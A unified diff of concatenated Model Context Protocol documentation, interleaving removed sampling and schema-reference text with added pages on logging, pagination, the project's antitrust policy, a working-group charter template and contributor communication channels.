`ToolUseContent` (`id: "call_abc123", name: "get_weather", input: {city: "Paris"}`) + `ToolUseContent` (`id: "call_def456", name: "get_weather", input: {city: "London"}`) -3. User message: `ToolResultContent` (`toolUseId: "call_abc123", content: "18°C, partly cloudy"`) + `ToolResultContent` (`toolUseId: "call_def456", content: "15°C, rainy"`) -4. Assistant message: Text response comparing the weather in both cities +## Message Flow -**Invalid sequence - missing tool result:** +```mermaid theme={null} +sequenceDiagram + participant Client + participant Server -1. User message: "What's the weather like in Paris and London?" -2. Assistant message: `ToolUseContent` (`id: "call_abc123", name: "get_weather", input: {city: "Paris"}`) + `ToolUseContent` (`id: "call_def456", name: "get_weather", input: {city: "London"}`) -3. User message: `ToolResultContent` (`toolUseId: "call_abc123", content: "18°C, partly cloudy"`) ← Missing result for call\_def456 -4. Assistant message: Text response (invalid - not all tool uses were resolved) + Note over Client,Server: Configure Logging + Client->>Server: logging/setLevel (info) + Server-->>Client: Empty Result -## Cross-API Compatibility + Note over Client,Server: Server Activity + Server--)Client: notifications/message (info) + Server--)Client: notifications/message (warning) + Server--)Client: notifications/message (error) -The sampling specification is designed to work across multiple LLM provider APIs (Claude, OpenAI, Gemini, etc.). Key design decisions for compatibility: + Note over Client,Server: Level Change + Client->>Server: logging/setLevel (error) + Server-->>Client: Empty Result + Note over Server: Only sends error level
and above +``` -### Message Roles +## Error Handling -MCP uses two roles: "user" and "assistant". +Servers **SHOULD** return standard JSON-RPC errors for common failure cases: -Tool use requests are sent in CreateMessageResult with the "assistant" role. -Tool results are sent back in messages with the "user" role. -Messages with tool results cannot contain other kinds of content. +* Invalid log level: `-32602` (Invalid params) +* Configuration errors: `-32603` (Internal error) -### Tool Choice Modes +## Implementation Considerations -`CreateMessageRequest.params.toolChoice` controls the tool use ability of the model: +1. Servers **SHOULD**: + * Rate limit log messages + * Include relevant context in data field + * Use consistent logger names + * Remove sensitive information -* `{mode: "auto"}`: Model decides whether to use tools (default) -* `{mode: "required"}`: Model MUST use at least one tool before completing -* `{mode: "none"}`: Model MUST NOT use any tools +2. Clients **MAY**: + * Present log messages in the UI + * Implement log filtering/search + * Display severity visually + * Persist log messages -### Parallel Tool Use +## Security -MCP allows models to make multiple tool use requests in parallel (returning an array of `ToolUseContent`). All major provider APIs support this: +1. Log messages **MUST NOT** contain: + * Credentials or secrets + * Personal identifying information + * Internal system details that could aid attacks -* **Claude**: Supports parallel tool use natively -* **OpenAI**: Supports parallel tool calls (can be disabled with `parallel_tool_calls: false`) -* **Gemini**: Supports parallel function calls natively +2. Implementations **SHOULD**: + * Rate limit messages + * Validate all data fields + * Control log access + * Monitor for sensitive content -Implementations wrapping providers that support disabling parallel tool use MAY expose this as an extension, but it is not part of the core MCP specification. -## Message Flow +# Pagination +Source: https://modelcontextprotocol.io/specification/2025-11-25/server/utilities/pagination -```mermaid theme={null} -sequenceDiagram - participant Server - participant Client - participant User - participant LLM - Note over Server,Client: Server initiates sampling - Server->>Client: sampling/createMessage - Note over Client,User: Human-in-the-loop review - Client->>User: Present request for approval - User-->>Client: Review and approve/modify +
- Note over Client,LLM: Model interaction - Client->>LLM: Forward approved request - LLM-->>Client: Return generation +The Model Context Protocol (MCP) supports paginating list operations that may return +large result sets. Pagination allows servers to yield results in smaller chunks rather +than all at once. - Note over Client,User: Response review - Client->>User: Present response for approval - User-->>Client: Review and approve/modify +Pagination is especially important when connecting to external services over the +internet, but also useful for local integrations to avoid performance issues with large +data sets. - Note over Server,Client: Complete request - Client-->>Server: Return approved response -``` +## Pagination Model -## Data Types +Pagination in MCP uses an opaque cursor-based approach, instead of numbered pages. -### Messages +* The **cursor** is an opaque string token, representing a position in the result set +* **Page size** is determined by the server, and clients **MUST NOT** assume a fixed page + size -Sampling messages can contain: +## Response Format -#### Text Content +Pagination starts when the server sends a **response** that includes: + +* The current page of results +* An optional `nextCursor` field if more results exist ```json theme={null} { - "type": "text", - "text": "The message content" + "jsonrpc": "2.0", + "id": "123", + "result": { + "resources": [...], + "nextCursor": "eyJwYWdlIjogM30=" + } } ``` -#### Image Content +## Request Format + +After receiving a cursor, the client can *continue* paginating by issuing a request +including that cursor: ```json theme={null} { - "type": "image", - "data": "base64-encoded-image-data", - "mimeType": "image/jpeg" + "jsonrpc": "2.0", + "id": "124", + "method": "resources/list", + "params": { + "cursor": "eyJwYWdlIjogMn0=" + } } ``` -#### Audio Content +## Pagination Flow -```json theme={null} -{ - "type": "audio", - "data": "base64-encoded-audio-data", - "mimeType": "audio/wav" -} -``` +```mermaid theme={null} +sequenceDiagram + participant Client + participant Server -### Model Preferences + Client->>Server: List Request (no cursor) + loop Pagination Loop + Server-->>Client: Page of results + nextCursor + Client->>Server: List Request (with cursor) + end +``` -Model selection in MCP requires careful abstraction since servers and clients may use -different AI providers with distinct model offerings. A server cannot simply request a -specific model by name since the client may not have access to that exact model or may -prefer to use a different provider's equivalent model. +## Operations Supporting Pagination -To solve this, MCP implements a preference system that combines abstract capability -priorities with optional model hints: +The following MCP operations support pagination: -#### Capability Priorities +* `resources/list` - List available resources +* `resources/templates/list` - List resource templates +* `prompts/list` - List available prompts +* `tools/list` - List available tools -Servers express their needs through three normalized priority values (0-1): +## Implementation Guidelines -* `costPriority`: How important is minimizing costs? Higher values prefer cheaper models. -* `speedPriority`: How important is low latency? Higher values prefer faster models. -* `intelligencePriority`: How important are advanced capabilities? Higher values prefer - more capable models. +1. Servers **SHOULD**: + * Provide stable cursors + * Handle invalid cursors gracefully -#### Model Hints +2. Clients **SHOULD**: + * Treat a missing `nextCursor` as the end of results + * Support both paginated and non-paginated flows -While priorities help select models based on characteristics, `hints` allow servers to -suggest specific models or model families: +3. Clients **MUST** treat cursors as opaque tokens: + * Don't make assumptions about cursor format + * Don't attempt to parse or modify cursors + * Don't persist cursors across sessions -* Hints are treated as substrings that can match model names flexibly -* Multiple hints are evaluated in order of preference -* Clients **MAY** map hints to equivalent models from different providers -* Hints are advisory—clients make final model selection +## Error Handling -For example: +Invalid cursors **SHOULD** result in an error with code -32602 (Invalid params). -```json theme={null} -{ - "hints": [ - { "name": "claude-3-sonnet" }, // Prefer Sonnet-class models - { "name": "claude" } // Fall back to any Claude model - ], - "costPriority": 0.3, // Cost is less important - "speedPriority": 0.8, // Speed is very important - "intelligencePriority": 0.5 // Moderate capability needs -} -``` -The client processes these preferences to select an appropriate model from its available -options. For instance, if the client doesn't have access to Claude models but has Gemini, -it might map the sonnet hint to `gemini-1.5-pro` based on similar capabilities. +# Antitrust Policy +Source: https://modelcontextprotocol.io/community/antitrust -## Error Handling +MCP Project Antitrust Policy for participants and contributors -Clients **SHOULD** return errors for common failure cases: +**Effective: September 29, 2025** -* User rejected sampling request: `-1` -* Tool result missing in request: `-32602` (Invalid params) -* Tool results mixed with other content: `-32602` (Invalid params) + + This policy applies when participating in MCP meetings, Working Groups, + Interest Groups, and other collaborative forums where competitors may be + present. Most individual contributors working on code or documentation don't + need to worry about this in day-to-day work - it's primarily relevant for + group discussions about standards and specifications. + -Example errors: +## Introduction -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 3, - "error": { - "code": -1, - "message": "User rejected sampling request" - } -} -``` +The goal of the Model Context Protocol open source project (the "Project") is to develop a universal standard for model-to-world interactions, including enabling LLMs and agents to seamlessly connect with and utilize external data sources and tools. The purpose of this Antitrust Policy (the "Policy") is to avoid antitrust risks in carrying out this pro-competitive mission. -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 4, - "error": { - "code": -32602, - "message": "Tool result missing in request" - } -} -``` +Participants in and contributors to the Project (collectively, "participants") will use their best reasonable efforts to comply in all respects with all applicable state and federal antitrust and trade regulation laws, and applicable antitrust/competition laws of other countries (collectively, the "Antitrust Laws"). -## Security Considerations +The goal of Antitrust Laws is to encourage vigorous competition. Nothing in this Policy prohibits or limits the ability of participants to make, sell or use any product, or otherwise to compete in the marketplace. This Policy provides general guidance on compliance with Antitrust Law. Participants should contact their respective legal counsel to address specific questions. -1. Clients **SHOULD** implement user approval controls -2. Both parties **SHOULD** validate message content -3. Clients **SHOULD** respect model preference hints -4. Clients **SHOULD** implement rate limiting -5. Both parties **MUST** handle sensitive data appropriately +This Policy is conservative and is intended to promote compliance with the Antitrust Laws, not to create duties or obligations beyond what the Antitrust Laws actually require. In the event of any inconsistency between this Policy and the Antitrust Laws, the Antitrust Laws preempt and control. -When tools are used in sampling, additional security considerations apply: +## Participation -6. Servers **MUST** ensure that when replying to a `stopReason: "toolUse"`, each `ToolUseContent` item is responded to with a `ToolResultContent` item with a matching `toolUseId`, and that the user message contains only tool results (no other content types) -7. Both parties **SHOULD** implement iteration limits for tool loops +Technical participation in the Project shall be open to all, subject only to compliance with the provisions of the Project's charter and other governance documents. +## Conduct of Meetings -# Specification -Source: https://modelcontextprotocol.io/specification/2025-11-25/index +At meetings among actual or potential competitors, there is a risk that participants in those meetings may improperly disclose or discuss information in violation of the Antitrust Laws or otherwise act in an anti-competitive manner. To avoid this risk, participants must adhere to the following policies when participating in Project-related or sponsored meetings, conference calls, or other forums (collectively, "Project Meetings"). +Participants must not, in fact or appearance, discuss or exchange information regarding: +* An individual company's current or projected prices, price changes, price differentials, markups, discounts, allowances, terms and conditions of sale, including credit terms, etc., or data that bear on prices, including profits, margins or cost. +* Industry-wide pricing policies, price levels, price changes, differentials, or the like. +* Actual or projected changes in industry production, capacity or inventories. +* Matters relating to bids or intentions to bid for particular products, procedures for responding to bid invitations or specific contractual arrangements. +* Plans of individual companies concerning the design, characteristics, production, distribution, marketing or introduction dates of particular products, including proposed territories or customers. +* Matters relating to actual or potential individual suppliers that might have the effect of excluding them from any market or of influencing the business conduct of firms toward such suppliers. +* Matters relating to actual or potential customers that might have the effect of influencing the business conduct of firms toward such customers. +* Individual company current or projected cost of procurement, development or manufacture of any product. +* Individual company market shares for any product or for all products. +* Confidential or otherwise sensitive business plans or strategy. -
+In connection with all Project Meetings, participants must do the following: -[Model Context Protocol](https://modelcontextprotocol.io) (MCP) is an open protocol that -enables seamless integration between LLM applications and external data sources and -tools. Whether you're building an AI-powered IDE, enhancing a chat interface, or creating -custom AI workflows, MCP provides a standardized way to connect LLMs with the context -they need. +* Adhere to prepared agendas. +* Insist that meeting minutes be prepared and distributed to all participants, and that meeting minutes accurately reflect the matters that transpired. +* Consult with their respective counsel on all antitrust questions related to Project Meetings. +* Protest against any discussions that appear to violate these policies or the Antitrust Laws, leave any meeting in which such discussions continue, and either insist that such protest be noted in the minutes. -This specification defines the authoritative protocol requirements, based on the -TypeScript schema in -[schema.ts](https://github.com/modelcontextprotocol/specification/blob/main/schema/2025-11-25/schema.ts). +## Requirements/Standard Setting -For implementation guides and examples, visit -[modelcontextprotocol.io](https://modelcontextprotocol.io). +The Project may establish standards, technical requirements and/or specifications for use (collectively, "requirements"). Participants shall not enter into agreements that prohibit or restrict any participant from establishing or adopting any other requirements. Participants shall not undertake any efforts, directly or indirectly, to prevent any firm from manufacturing, selling, or supplying any product not conforming to a requirement. -The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD -NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be -interpreted as described in [BCP 14](https://datatracker.ietf.org/doc/html/bcp14) -\[[RFC2119](https://datatracker.ietf.org/doc/html/rfc2119)] -\[[RFC8174](https://datatracker.ietf.org/doc/html/rfc8174)] when, and only when, they -appear in all capitals, as shown here. +The Project shall not promote standardization of commercial terms, such as terms for license and sale. -## Overview +## Contact Information -MCP provides a standardized way for applications to: +To contact the Project regarding matters addressed by this Antitrust Policy, please send an email to [antitrust@modelcontextprotocol.io](mailto:antitrust@modelcontextprotocol.io), and reference "Antitrust Policy" in the subject line. -* Share contextual information with language models -* Expose tools and capabilities to AI systems -* Build composable integrations and workflows -The protocol uses [JSON-RPC](https://www.jsonrpc.org/) 2.0 messages to establish -communication between: +# Group Charter Template +Source: https://modelcontextprotocol.io/community/charter-template -* **Hosts**: LLM applications that initiate connections -* **Clients**: Connectors within the host application -* **Servers**: Services that provide context and capabilities +Template for MCP Working Group and Interest Group charters. -MCP takes some inspiration from the -[Language Server Protocol](https://microsoft.github.io/language-server-protocol/), which -standardizes how to add support for programming languages across a whole ecosystem of -development tools. In a similar way, MCP standardizes how to integrate additional context -and tools into the ecosystem of AI applications. +Every MCP Working Group and Interest Group must maintain a charter document following this structure. Charters are stored at `docs/community//charter.mdx` in the [modelcontextprotocol repository](https://github.com/modelcontextprotocol/modelcontextprotocol) and added to `docs/docs.json`. -## Key Details +The charter captures information specific to your group. Governance rules — leadership requirements, decision-making process, meeting requirements, escalation paths — are defined in the [Working and Interest Groups](/community/working-interest-groups) documentation and apply automatically. Do not repeat them here. -### Base Protocol +Sections marked **(WG only)** are required for Working Groups and optional for Interest Groups. -* [JSON-RPC](https://www.jsonrpc.org/) message format -* Stateful connections -* Server and client capability negotiation + + Copy the markdown below into `docs/community//charter.mdx` and replace the placeholder text. + -### Features +*** -Servers offer any of the following features to clients: +```markdown theme={null} +--- +title: Charter +description: Charter for the MCP . +--- -* **Resources**: Context and data, for the user or the AI model to use -* **Prompts**: Templated messages and workflows for users -* **Tools**: Functions for the AI model to execute +## Group Type -Clients may offer the following features to servers: + -* **Sampling**: Server-initiated agentic behaviors and recursive LLM interactions -* **Roots**: Server-initiated inquiries into URI or filesystem boundaries to operate in -* **Elicitation**: Server-initiated requests for additional information from users +**Working Group** | **Interest Group** -### Additional Utilities +## Mission Statement -* Configuration -* Progress tracking -* Cancellation -* Error reporting -* Logging + -## Security and Trust & Safety +## Scope -The Model Context Protocol enables powerful capabilities through arbitrary data access -and code execution paths. With this power comes important security and trust -considerations that all implementors must carefully address. +### In Scope -### Key Principles + -2. **Data Privacy** - * Hosts must obtain explicit user consent before exposing user data to servers - * Hosts must not transmit resource data elsewhere without user consent - * User data should be protected with appropriate access controls +### Out of Scope -3. **Tool Safety** - * Tools represent arbitrary code execution and must be treated with appropriate - caution. - * In particular, descriptions of tool behavior such as annotations should be - considered untrusted, unless obtained from a trusted server. - * Hosts must obtain explicit user consent before invoking any tool - * Users should understand what each tool does before authorizing its use + -4. **LLM Sampling Controls** - * Users must explicitly approve any LLM sampling requests - * Users should control: - * Whether sampling occurs at all - * The actual prompt that will be sent - * What results the server can see - * The protocol intentionally limits server visibility into prompts +### Related Groups -### Implementation Guidelines + -While MCP itself cannot enforce these security principles at the protocol level, -implementors **SHOULD**: +## Leadership -1. Build robust consent and authorization flows into their applications -2. Provide clear documentation of security implications -3. Implement appropriate access controls and data protections -4. Follow security best practices in their integrations -5. Consider privacy implications in their feature designs + -## Learn More +| Role | Name | Organization | GitHub | Term | +| ---- | ---- | ------------ | ------ | ---- | +| | | | | | -Explore the detailed specification for each protocol component: +## Authority & Decision Rights (WG only) - - + - +| Decision Type | Authority Level | +| ----------------------------------- | ------------------------------------------------------ | +| Meeting logistics & scheduling | WG Leads (autonomous) | +| Proposal prioritization within WG | WG Leads (autonomous) | +| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) | +| Technical design within scope | WG consensus | +| Spec changes (additive) | WG consensus → Core Maintainer approval | +| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review | +| Scope expansion | Core Maintainer approval required | +| WG Member approval | WG Member sponsors | - +## Membership - - + +| Name | Organization | GitHub | Discord | Level | +| ---- | ------------ | ------ | ------- | ----- | +| | | | | | -# Schema Reference -Source: https://modelcontextprotocol.io/specification/2025-11-25/schema +## Operations + +| Meeting | Frequency | Duration | Purpose | +| --------------- | --------- | -------- | ------------------------------------- | +| Working Session | | | Technical discussion, proposal review | +| Office Hours | | | Open Q&A for newcomers and observers | -
+## Deliverables & Success Metrics (WG only) -## JSON-RPC + -
- ### `JSONRPCErrorResponse` +### Active Work Items -
interface JSONRPCErrorResponse \{
  jsonrpc: "2.0";
  id?: RequestId;
  error: Error;
}

A response to a request that indicates an error occurred.

jsonrpc: "2.0"
id?: RequestId
error: Error
-
+| Item | Status | Target Date | Champion | +| ------------- | ------------------------- | ----------- | -------- | +| SEP-XXX: Name | Draft / Review / Approved | | | -
- ### `JSONRPCMessage` +### Success Criteria -

Refers to any valid JSON-RPC object that can be decoded off the wire, or encoded to be sent.

-
+ -
- ### `JSONRPCNotification` +## Changelog -
interface JSONRPCNotification \{
  method: string;
  params?: \{ \[key: string]: any };
  jsonrpc: "2.0";
}

A notification which does not expect a response.

method: string
params?: \{ \[key: string]: any }
jsonrpc: "2.0"
-
+| Date | Change | +| ---- | ------ | +| | | +``` -
- ### `JSONRPCRequest` +*** -
interface JSONRPCRequest \{
  method: string;
  params?: \{ \[key: string]: any };
  jsonrpc: "2.0";
  id: RequestId;
}

A request that expects a response.

method: string
params?: \{ \[key: string]: any }
jsonrpc: "2.0"
id: RequestId
-
+## Example Mission Statements -
- ### `JSONRPCResponse` +**Working Group:** -

A response to a request, containing either the result or error.

-
+> The Transport Working Group exists to evolve MCP's transport mechanisms to support diverse deployment scenarios—from local subprocess communication to horizontally-scaled cloud deployments—while maintaining protocol coherence and backward compatibility. -
- ### `JSONRPCResultResponse` +**Interest Group:** -
interface JSONRPCResultResponse \{
  jsonrpc: "2.0";
  id: RequestId;
  result: Result;
}

A successful (non-error) response to a request.

jsonrpc: "2.0"
id: RequestId
result: Result
-
+> The Enterprise IG explores the challenges of deploying MCP in enterprise environments, gathering use cases and requirements to inform future specification work. -## Common Types -
- ### `Annotations` +# Contributor Communication +Source: https://modelcontextprotocol.io/community/communication -
interface Annotations \{
  audience?: Role\[];
  priority?: number;
  lastModified?: string;
}

Optional annotations for the client. The client can use annotations to inform how objects are used or displayed

audience?: Role\[]

Describes who the intended audience of this object or data is.

It can include multiple entries to indicate content useful for multiple audiences (e.g., \["user", "assistant"]).

priority?: number

Describes how important this data is for operating the server.

A value of 1 means "most important," and indicates that the data is - effectively required, while 0 means "least important," and indicates that - the data is entirely optional.

lastModified?: string

The moment the resource was last modified, as an ISO 8601 formatted string.

Should be an ISO 8601 formatted string (e.g., "2025-01-12T15:00:58Z").

Examples: last activity timestamp in an open file, timestamp when the resource - was attached, etc.

-
+Communication strategy and framework for the Model Context Protocol community -
- ### `Cursor` +This document explains how to communicate and collaborate within the Model Context Protocol (MCP) project. -
Cursor: string

An opaque token used to represent a cursor for pagination.

-
+## Communication Channels -
- ### `EmptyResult` +| Channel | Purpose | When to Use | +| ----------------------------------------------------------------------------------------------------------- | --------------------- | ------------------------------------------------ | +| [Discord](https://discord.gg/6CSzBmMkjX) | Real-time discussion | Quick questions, coordination, WG/IG discussions | +| [Live calls](https://meet.modelcontextprotocol.io/) | Sync up | WG/IG presentations, progress reports | +| [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions) | Structured discussion | Proposals, roadmap planning, longer-form debate | +| [GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues) | Actionable tasks | Bug reports, documentation fixes | +| [Vulnerability reports](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/SECURITY.md) | Security issues | Vulnerabilities - **never post publicly** | -
EmptyResult: Result

A response that indicates success but carries no data.

-
+All communication is governed by our [Code of Conduct](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/CODE_OF_CONDUCT.md). We expect respectful, professional, and inclusive interactions across all channels. -
- ### `Error` +## Discord -
interface Error \{
  code: number;
  message: string;
  data?: unknown;
}
code: number

The error type that occurred.

message: string

A short description of the error. The message SHOULD be limited to a concise single sentence.

data?: unknown

Additional information about the error. The value of this member is defined by the sender (e.g. detailed error information, nested errors etc.).

-
+The [MCP Contributor Discord](https://discord.gg/6CSzBmMkjX) is for real-time contributor discussion and collaboration. The server is designed for **MCP contributors** and is not intended for general MCP support. -
- ### `Icon` +### Public Channels (Default) -
interface Icon \{
  src: string;
  mimeType?: string;
  sizes?: string\[];
  theme?: "light" | "dark";
}

An optionally-sized icon that can be displayed in a user interface.

src: string

A standard URI pointing to an icon resource. May be an HTTP/HTTPS URL or a data: URI with Base64-encoded image data.

Consumers SHOULD takes steps to ensure URLs serving icons are from the - same domain as the client/server or a trusted domain.

Consumers SHOULD take appropriate precautions when consuming SVGs as they can contain - executable JavaScript.

mimeType?: string

Optional MIME type override if the source MIME type is missing or generic. - For example: "image/png", "image/jpeg", or "image/svg+xml".

sizes?: string\[]

Optional array of strings that specify sizes at which the icon can be used. - Each string should be in WxH format (e.g., "48x48", "96x96") or "any" for scalable formats like SVG.

If not provided, the client should assume that the icon can be used at any size.

theme?: "light" | "dark"

Optional specifier for the theme this icon is designed for. light indicates - the icon is designed to be used with a light background, and dark indicates - the icon is designed to be used with a dark background.

If not provided, the client should assume the icon can be used with any theme.

-
+**Purpose:** Open community engagement, collaborative development, and transparent project coordination. -
- ### `LoggingLevel` +**Primary use cases:** -
LoggingLevel:
  | "debug"
  | "info"
  | "notice"
  | "warning"
  | "error"
  | "critical"
  | "alert"
  | "emergency"

The severity of a log message.

These map to syslog message severities, as specified in RFC-5424: [https://datatracker.ietf.org/doc/html/rfc5424#section-6.2.1](https://datatracker.ietf.org/doc/html/rfc5424#section-6.2.1)

-
+* SDK and tooling development (e.g., `#typescript-sdk-dev`, `#inspector-dev`) +* [Working Group and Interest Group](/community/working-interest-groups) discussions (e.g., `#auth-wg`, `#security-ig`) +* Community onboarding and contribution guidance +* Community feedback and collaborative brainstorming +* Public office hours and maintainer availability -
- ### `ProgressToken` +**Avoid:** -
ProgressToken: string | number

A progress token, used to associate progress notifications with the original request.

-
+* MCP user support - Read official documentation and use GitHub Discussions for questions +* Service or product marketing - Keep discussions vendor-neutral; mentions of brands are discouraged except as examples relevant to the specification -
- ### `RequestId` +### Private Channels (Exceptions) -
RequestId: string | number

A uniquely identifying ID for a request in JSON-RPC.

-
+**Purpose:** Confidential coordination and sensitive matters. Access is restricted to designated maintainers. -
- ### `Result` +**Criteria for private use:** -
interface Result \{
  \_meta?: \{ \[key: string]: unknown };
  \[key: string]: unknown;
}
\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+* Security incidents (CVEs, protocol vulnerabilities) +* People matters (maintainer discussions, code of conduct issues) +* Coordination requiring immediate or focused response with a limited audience +* Some channels are read-only for maintainer decision-making -
- ### `Role` +**Transparency requirements:** -
Role: "user" | "assistant"

The sender or recipient of messages and data in a conversation.

-
+* All technical and governance decisions affecting the community must be documented in GitHub Discussions and/or Issues, labeled with `notes` +* Private channels are temporary "incident rooms," not for routine development +* Some matters related to individual contributors may remain private when appropriate -## Content +Any significant discussion on Discord that leads to a potential decision or proposal must be moved to GitHub Discussion or Issue for a persistent, searchable record. -
- ### `AudioContent` +## GitHub Discussions -
interface AudioContent \{
  type: "audio";
  data: string;
  mimeType: string;
  annotations?: Annotations;
  \_meta?: \{ \[key: string]: unknown };
}

Audio provided to or from an LLM.

type: "audio"
data: string

The base64-encoded audio data.

mimeType: string

The MIME type of the audio. Different providers may support different audio types.

annotations?: Annotations

Optional annotations for the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+Use for structured, long-form discussion and debate on project direction. -
- ### `BlobResourceContents` +**When to use:** -
interface BlobResourceContents \{
  uri: string;
  mimeType?: string;
  \_meta?: \{ \[key: string]: unknown };
  blob: string;
}
uri: string

The URI of this resource.

mimeType?: string

The MIME type of this resource, if known.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

blob: string

A base64-encoded string representing the binary data of the item.

-
+* Project roadmap planning and milestone discussions +* Announcements and release communications +* Community polls and consensus-building +* Feature requests with context and rationale +* If a repository doesn't have Discussions enabled, use GitHub Issues instead -
- ### `ContentBlock` +## GitHub Issues -
ContentBlock:
  | TextContent
  | ImageContent
  | AudioContent
  | ResourceLink
  | EmbeddedResource
-
+Use for bug reports and actionable development tasks. Feature requests should go to [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions). -
- ### `EmbeddedResource` +**When to use:** -
interface EmbeddedResource \{
  type: "resource";
  resource: TextResourceContents | BlobResourceContents;
  annotations?: Annotations;
  \_meta?: \{ \[key: string]: unknown };
}

The contents of a resource, embedded into a prompt or tool call result.

It is up to the client how best to render embedded resources for the benefit - of the LLM and/or the user.

type: "resource"
resource: TextResourceContents | BlobResourceContents
annotations?: Annotations

Optional annotations for the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+* Bug reports with reproducible steps +* Documentation improvements with specific scope +* CI/CD problems and infrastructure issues +* Release tasks and milestone tracking -
- ### `ImageContent` +**Note:** SEP proposals are submitted as pull requests to the [`seps/` directory](https://github.com/modelcontextprotocol/modelcontextprotocol/tree/main/seps), not as GitHub Issues. See the [SEP Guidelines](/community/sep-guidelines). -
interface ImageContent \{
  type: "image";
  data: string;
  mimeType: string;
  annotations?: Annotations;
  \_meta?: \{ \[key: string]: unknown };
}

An image provided to or from an LLM.

type: "image"
data: string

The base64-encoded image data.

mimeType: string

The MIME type of the image. Different providers may support different image types.

annotations?: Annotations

Optional annotations for the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+## Security Issues -
- ### `ResourceLink` +**Do not post security issues publicly.** -
interface ResourceLink \{
  icons?: Icon\[];
  name: string;
  title?: string;
  uri: string;
  description?: string;
  mimeType?: string;
  annotations?: Annotations;
  size?: number;
  \_meta?: \{ \[key: string]: unknown };
  type: "resource\_link";
}

A resource that the server is capable of reading, included in a prompt or tool call result.

Note: resource links returned by tools are not guaranteed to appear in the results of resources/list requests.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, - even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, - where annotations.title should be given precedence over using name, - if present).

uri: string

The URI of this resource.

description?: string

A description of what this resource represents.

This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.

mimeType?: string

The MIME type of this resource, if known.

annotations?: Annotations

Optional annotations for the client.

size?: number

The size of the raw resource content, in bytes (i.e., before base64 encoding or any tokenization), if known.

This can be used by Hosts to display file sizes and estimate context window usage.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

type: "resource\_link"
-
+1. Use the private security reporting process in [SECURITY.md](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/SECURITY.md) +2. Contact Lead or [Core Maintainers](/community/governance#current-core-maintainers) directly +3. Follow responsible disclosure guidelines -
- ### `TextContent` +## Decision Records -
interface TextContent \{
  type: "text";
  text: string;
  annotations?: Annotations;
  \_meta?: \{ \[key: string]: unknown };
}

Text provided to or from an LLM.

type: "text"
text: string

The text content of the message.

annotations?: Annotations

Optional annotations for the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+All MCP decisions are documented in public channels: -
- ### `TextResourceContents` +| Type | Location | +| --------------------- | --------------------------------------------------------------------------------------------- | +| Technical decisions | [GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues) and SEPs | +| Specification changes | [Changelog](https://modelcontextprotocol.io/specification/draft/changelog) | +| Process changes | [Community documentation](https://modelcontextprotocol.io/community/governance) | +| Governance decisions | [GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues) and SEPs | -
interface TextResourceContents \{
  uri: string;
  mimeType?: string;
  \_meta?: \{ \[key: string]: unknown };
  text: string;
}
uri: string

The URI of this resource.

mimeType?: string

The MIME type of this resource, if known.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

text: string

The text of the item. This must only be set if the item can actually be represented as text (not binary data).

-
+When documenting decisions, we retain as much context as possible: -## `completion/complete` +* Decision makers +* Background context and motivation +* Options considered +* Rationale for chosen approach +* Implementation steps -
- ### `CompleteRequest` -
interface CompleteRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "completion/complete";
  params: CompleteRequestParams;
}

A request from the client to the server, to ask for completion options.

jsonrpc: "2.0"
id: RequestId
method: "completion/complete"
params: CompleteRequestParams
-
+# Contributing to MCP +Source: https://modelcontextprotocol.io/community/contributing -
- ### `CompleteRequestParams` +How to contribute to the Model Context Protocol project -
interface CompleteRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  ref: PromptReference | ResourceTemplateReference;
  argument: \{ name: string; value: string };
  context?: \{ arguments?: \{ \[key: string]: string } };
}

Parameters for a completion/complete request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

ref: PromptReference | ResourceTemplateReference
argument: \{ name: string; value: string }

The argument's information

Type Declaration
  • name: string

    The name of the argument

  • value: string

    The value of the argument to use for completion matching.

context?: \{ arguments?: \{ \[key: string]: string } }

Additional, optional context for completions

Type Declaration
  • Optionalarguments?: \{ \[key: string]: string }

    Previously-resolved variables in a URI template or prompt.

-
+The Model Context Protocol (MCP) is an open source project that welcomes contributions from the +community. This guide walks you through everything you need to get started. -
- ### `CompleteResult` +## Before You Begin -
interface CompleteResult \{
